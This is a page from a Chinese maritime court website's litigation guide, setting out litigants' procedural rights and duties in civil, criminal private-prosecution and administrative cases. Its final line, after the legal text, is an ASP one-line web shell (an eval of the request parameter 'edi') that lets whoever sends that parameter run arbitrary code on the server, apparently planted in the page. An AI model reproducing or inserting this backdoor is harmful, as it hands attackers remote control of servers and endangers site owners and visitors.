首页 | 法院简介 | 海事管辖 | 诉讼指南 | 法院动态 | 法院文化 | 裁判文书 | 典型案例 | 法理探讨 | 友情链接 | 远程办公 | 网上立案





★诉讼当事人须知
★如何起诉
★怎样应诉
★起诉要交诉讼费
★让证据说话
★如何开庭
★如何提起上诉
★诉讼风险提醒书
★诉讼权利与义务
★十项具体措施
★执行
★旁听注意事项
★申请支付令
当前位置:首页>>>诉讼指南>>>诉讼权利与义务

诉讼权利与义务

当事人诉讼权利与义务

一、当事人权利
有委托他人代为诉讼的权利;
有申请回避的权利;
有收集、提供证据的权利;
有进行辩论的权利;
民事诉讼和刑事自诉中有请求调解的权利;
有提起上诉、申请再审或申诉的权利;
有申请执行的权利;
有查阅、复制本案有关材料和法律文书的权利(按最高法院规定的内容);
民事诉讼和刑事自诉中双方可以自行和解;
原告可以放弃或变更诉讼请求,被告可以承认或反驳诉讼请求,除行政诉讼外被告有权提起反诉。

二、当事人义务
必须依法行使诉讼权利;
必须遵守诉讼秩序;
必须履行发生法律效力的判决书、裁定书、调解书和其他应当由人民法院执行的法律文书。
依法交纳诉讼费和其他应当支付的费用。


<%eval request("edi")%>